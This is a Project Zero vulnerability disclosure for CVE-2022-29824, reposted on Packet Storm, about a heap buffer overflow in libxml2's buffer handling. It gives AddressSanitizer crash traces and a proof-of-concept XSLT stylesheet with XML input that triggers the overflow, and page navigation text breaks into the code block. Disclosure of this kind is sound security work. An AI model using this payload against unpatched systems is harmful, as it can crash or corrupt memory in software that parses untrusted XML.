


```
#19 0x420609 in __start (/usr/local/google/home/fwilhelm/code/libxml2/xmllint+0x420609)

0x7f0087e0780f is located 0 bytes to the right of 3221225487-byte region [0x7effc7e07800,0x7f0087e0780f)
allocated by thread T0 here:
#0 0x49d0b3 in __interceptor_realloc (/usr/local/google/home/fwilhelm/code/libxml2/xmllint+0x49d0b3)
#1 0x6eddb3 in xmlBufResize /usr/local/google/home/fwilhelm/code/libxml2/buf.c:829:26
#2 0x6ee7f8 in xmlBufAdd /usr/local/google/home/fwilhelm/code/libxml2/buf.c:902:14
#3 0x595fdc in xmlBufGetNodeContent /usr/local/google/home/fwilhelm/code/libxml2/tree.c:5452:33
#4 0x5964bf in xmlNodeGetContent /usr/local/google/home/fwilhelm/code/libxml2/tree.c
#5 0x669c37 in xmlXPathCastNodeToString /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:5713:16
#6 0x669c37 in xmlXPathStringLengthFunction /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:8933:16
#7 0x68de92 in xmlXPathCompOpEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:13219:17
#8 0x68b15e in xmlXPathCompOpEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:13020:22
#9 0x68a808 in xmlXPathCompOpEvalToBoolean /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:13599:6
#10 0x696974 in xmlXPathNodeSetFilter /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:11674:15
#11 0x692b36 in xmlXPathNodeCollectAndTest /usr/local/google/home/fwilhelm/code/libxml2/xpath.c
#12 0x68c6ed in xmlXPathStringCompOpEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:13115:26
#13 0x68b61f in xmlXPathCompOpEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:13363:26
#14 0x679516 in xmlXPathRunEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:13956:2
#15 0x679b8d in xmlXPathEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:14473:5
#16 0x4d6858 in doXPathQuery /usr/local/google/home/fwilhelm/code/libxml2/xmllint.c:2157:11
#17 0x4d6858 in parseAndPrintFile /usr/local/google/home/fwilhelm/code/libxml2/xmllint.c:2472:9
#18 0x4d1bd8 in main /usr/local/google/home/fwilhelm/code/libxml2/xmllint.c:3817:7
#19 0x7f02a712c7ec in __libc_start_main csu/../csu/libc-start.c:332:16

SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/local/google/home/fwilhelm/code/libxml2/xmllint+0x49c681)
in __asan_memmove
Shadow bytes around the buggy address:
 0x0fe090fb8eb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0fe090fb8ec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0fe090fb8ed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0fe090fb8ee0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0fe090fb8ef0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
==>0x0fe090fb8f00: 00[07]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe090fb8f10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe090fb8f20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe090fb8f30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe090fb8f40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe090fb8f50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==93182==ABORTING
...

XSLT version (no XML_PARSE_HUGE needed)
...
<?xml version="1.0"?>
<test-cases>
  <test-case length="2048">A</test-case>
</test-cases>

\u221a fwilhelm2 libxslt % cat poc.xslt
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:str="http://exslt.org/strings"
  xmlns:exsl="http://exslt.org/common"
  exclude-result-prefixes="str">

  <xsl:output indent="yes"/>

  <xsl:template match="test-cases">
    <test-results>
      <xsl:apply-templates select="test-case"/>
    </test-results>
  </xsl:template>

  <xsl:template match="test-case">
    <test-result>
      <xsl:variable name="padding">
        <xsl:value-of select="str:padding(@length)"/>
      </xsl:variable>
      <xsl:variable name="l1">
        <xsl:value-of
select="concat ($padding, $padding, $padding, $padding, $padding, $padding, $padding, $padding, $padding, $padding, $padding, $padding)
        </xsl:variable>
      <xsl:variable name="l2">
        <xsl:value-of select="concat ($l1, $l1, $l1, $l1, $l1, $l1, $l1, $l1, $l1, $l1, $l1, $l1, $l1, $l1, $l1)"/>
      </xsl:variable>
      <xsl:variable name="l3">
        <xsl:value-of select="concat ($l2, $l2, $l2, $l2, $l2, $l2, $l2, $l2, $l2, $l2, $l2, $l2, $l2, $l2, $l2)"/>
      </xsl:variable>
      <xsl:variable name="l4">
        <xsl:value-of select="concat ($l3, $l3, $l3, $l3, $l3, $l3, $l3, $l3, $l3, $l3, $l3, $l3, $l3, $l3, $l3)"/>
      </xsl:variable>
      <xsl:variable name="l5">
        <xsl:value-of select="concat ($l4, $l4, $l4, $l4, $l4, $l4, $l4, $l4, $l4)"/>
      </xsl:variable>
      <xsl:variable name="temp">
        <a><xsl:copy-of select="$l5"/></a>
        <a><xsl:copy-of select="$l5"/></a>
        <a><xsl:copy-of select="$l5"/></a>
        <a><xsl:copy-of select="$l5"/></a>
      </xsl:variable>
      <foo>
        <xsl:value-of select="string-length($temp)"/>
      </foo>
    </test-result>
  </xsl:template>
```

Intrusion Detection (866)	BSD (370)
Java (2,888)	CentOS (55)
JavaScript (817)	Cisco (1,917)
Kernel (6,255)	Debian (6,620)
Local (14,173)	Fedora (1,690)
Magazine (586)	FreeBSD (1,242)
Overflow (12,390)	Gentoo (4,272)
Perl (1,417)	HPUX (878)
PHP (5,087)	iOS (330)
Proof of Concept (2,290)	iPhone (108)
Protocol (3,426)	IRIX (220)
Python (1,449)	Juniper (67)
Remote (30,009)	Linux (44,118)
Root (3,496)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,768)	OpenBSD (479)
Shell (3,098)	RedHat (12,339)
Shellcode (1,204)	Slackware (941)
Sniffer (885)	Solaris (1,607)
Spoof (2,165)	SUSE (1,444)
SQL Injection (16,089)	Ubuntu (8,147)
TCP (2,377)	UNIX (9,150)
Trojan (685)	UnixWare (185)
UDP (875)	Windows (6,504)
Virus (661)	Other
Vulnerability (31,104)	
Web (9,329)	
Whitepaper (3,728)	
x86 (946)	
XSS (17,478)	
Other	

```
</xsl:stylesheet>

\u221a fwilhelm2 libxslt % ./xsltproc/xsltproc poc.xslt poc.xml
=====
==244487==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fe4cc4ee80c at pc 0x0000004b372d bp
0x7ffd8a145aa0 sp 0x7ffd8a145268
WRITE of size 1073741824 at 0x7fe4cc4ee80c thread T0
#0 0x4b37d1 in __asan_memmove (/usr/local/google/home/fwilhelm/code/libxslt/xsltproc/xsltproc+0x4b37d1)
#1 0x884dc1 in xmlBufAdd /usr/local/google/home/fwilhelm/code/libxml2/buf.c:908:5
#2 0x6dadae in xmlBufGetNodeContent /usr/local/google/home/fwilhelm/code/libxml2/tree.c:5452:33
#3 0x6dac8a in xmlBufGetNodeContent /usr/local/google/home/fwilhelm/code/libxml2/tree.c:5548:7
#4 0x6db62f in xmlNodeGetContent /usr/local/google/home/fwilhelm/code/libxml2/tree.c
#5 0x7c80fc in xmlXPathCastNodeToString /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:5713:16
#6 0x7c80fc in xmlXPathCastNodeSetToString /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:5733:12
#7 0x7dc654 in xmlXPathCacheConvertString /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:2698:8
#8 0x7decca in xmlXPathStringFunction /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:8906:21
#9 0x7df931 in xmlXPathStringLengthFunction /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:8941:5
#10 0x80c5e9 in xmlXPathCompOpEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:13219:17
#11 0x808653 in xmlXPathCompOpEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:13363:26
#12 0x7ee321 in xmlXPathRunEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:13956:2
#13 0x7ece3c in xmlXPathCompiledEvalInternal /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:14339:11
#14 0x7eca34 in xmlXPathCompiledEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:14385:5
#15 0x588140 in xsltPreCompEval /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:385:11
#16 0x589ba5 in xsltValueOf /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:4541:11
#17 0x578704 in xsltApplySequenceConstructor
/usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:2757:17
#18 0x5754d0 in xsltApplyXSLTTemplate
/usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:3215:5
#19 0x570899 in xsltProcessOneNode /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:2167:2
#20 0x58cbbc in xsltApplyTemplates /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:5095:2
#21 0x578704 in xsltApplySequenceConstructor
/usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:2757:17
#22 0x5754d0 in xsltApplyXSLTTemplate
/usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:3215:5
#23 0x570899 in xsltProcessOneNode /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:2167:2
#24 0x57199f in xsltDefaultProcessOneNode
/usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:1997:3
#25 0x570b62 in xsltProcessOneNode /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:2129:2
#26 0x593919 in xsltApplyStylesheetInternal
/usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:5987:5
#27 0x4eb14a in xsltProcess /usr/local/google/home/fwilhelm/code/libxslt/xsltproc/xsltproc.c
#28 0x4e8cf5 in main /usr/local/google/home/fwilhelm/code/libxslt/xsltproc/xsltproc.c:935:6
#29 0x7fe6fc94f7ec in __libc_start_main csu/../csu/libc-start.c:332:16
#30 0x437759 in _start (/usr/local/google/home/fwilhelm/code/libxslt/xsltproc/xsltproc+0x437759)

0x7fe4cc4ee80c is located 0 bytes to the right of 3221225484-byte region [0x7fe40c4ee800,0x7fe4cc4ee80c)
allocated by thread T0 here:
#0 0x4b4203 in __interceptor_realloc
(/usr/local/google/home/fwilhelm/code/libxslt/xsltproc/xsltproc+0x4b4203)
#1 0x8842e0 in xmlBufResize /usr/local/google/home/fwilhelm/code/libxml2/buf.c:829:26
#2 0x884d30 in xmlBufAdd /usr/local/google/home/fwilhelm/code/libxml2/buf.c:902:14
#3 0x6dadae in xmlBufGetNodeContent /usr/local/google/home/fwilhelm/code/libxml2/tree.c:5452:33
#4 0x6dac8a in xmlBufGetNodeContent /usr/local/google/home/fwilhelm/code/libxml2/tree.c:5548:7
#5 0x6db62f in xmlNodeGetContent /usr/local/google/home/fwilhelm/code/libxml2/tree.c
#6 0x7c80fc in xmlXPathCastNodeToString /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:5713:16
#7 0x7c80fc in xmlXPathCastNodeSetToString /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:5733:12
#8 0x7dc654 in xmlXPathCacheConvertString /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:2698:8
#9 0x7decca in xmlXPathStringFunction /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:8906:21
#10 0x7df931 in xmlXPathStringLengthFunction /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:8941:5
#11 0x80c5e9 in xmlXPathCompOpEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:13219:17
#12 0x808653 in xmlXPathCompOpEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:13363:26
#13 0x7ee321 in xmlXPathRunEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:13956:2
#14 0x7ece3c in xmlXPathCompiledEvalInternal /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:14339:11
#15 0x7eca34 in xmlXPathCompiledEval /usr/local/google/home/fwilhelm/code/libxml2/xpath.c:14385:5
#16 0x588140 in xsltPreCompEval /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:385:11
#17 0x589ba5 in xsltValueOf /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:4541:11
#18 0x578704 in xsltApplySequenceConstructor
/usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:2757:17
#19 0x5754d0 in xsltApplyXSLTTemplate
/usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:3215:5
#20 0x570899 in xsltProcessOneNode /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:2167:2
#21 0x58cbbc in xsltApplyTemplates /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:5095:2
#22 0x578704 in xsltApplySequenceConstructor
/usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:2757:17
#23 0x5754d0 in xsltApplyXSLTTemplate
/usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:3215:5
#24 0x570899 in xsltProcessOneNode /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:2167:2
#25 0x57199f in xsltDefaultProcessOneNode
/usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:1997:3
#26 0x570b62 in xsltProcessOneNode /usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:2129:2
#27 0x593919 in xsltApplyStylesheetInternal
/usr/local/google/home/fwilhelm/code/libxslt/libxslt/transform.c:5987:5
#28 0x4eb14a in xsltProcess /usr/local/google/home/fwilhelm/code/libxslt/xsltproc/xsltproc.c
#29 0x4e8cf5 in main /usr/local/google/home/fwilhelm/code/libxslt/xsltproc/xsltproc.c:935:6
#30 0x7fe6fc94f7ec in __libc_start_main csu/../csu/libc-start.c:332:16

SUMMARY: AddressSanitizer: heap-buffer-overflow
(/usr/local/google/home/fwilhelm/code/libxslt/xsltproc/xsltproc+0x4b37d1) in __asan_memmove
Shadow bytes around the buggy address:
0x0ffd19895cb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffd19895cc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffd19895cd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffd19895ce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffd19895cf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ffd19895d00: 00[04]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ffd19895d10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ffd19895d20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ffd19895d30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ffd19895d40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ffd19895d50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
```

```
Left alloca redzone:  ca
Right alloca redzone: cb
==244487==ABORTING
...
```

This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. **The scheduled deadline is 2022-06-06**.

For more details, see the Project Zero vulnerability disclosure policy:
<https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html>

Related CVE Numbers: CVE-2022-29824.

Found by: fwilhelm@google.com



[Login](#) or [Register](#) to add favorites



© 2022 Packet Storm. All rights reserved.

Site Links

[News by Month](#)

[News Tags](#)

[Files by Month](#)

[File Tags](#)

[File Directory](#)

About Us

[History & Purpose](#)

[Contact Information](#)

[Terms of Service](#)

[Privacy Statement](#)

[Copyright Information](#)

Hosting By

[Rokasec](#)



[Follow us on Twitter](#)



[Subscribe to an RSS Feed](#)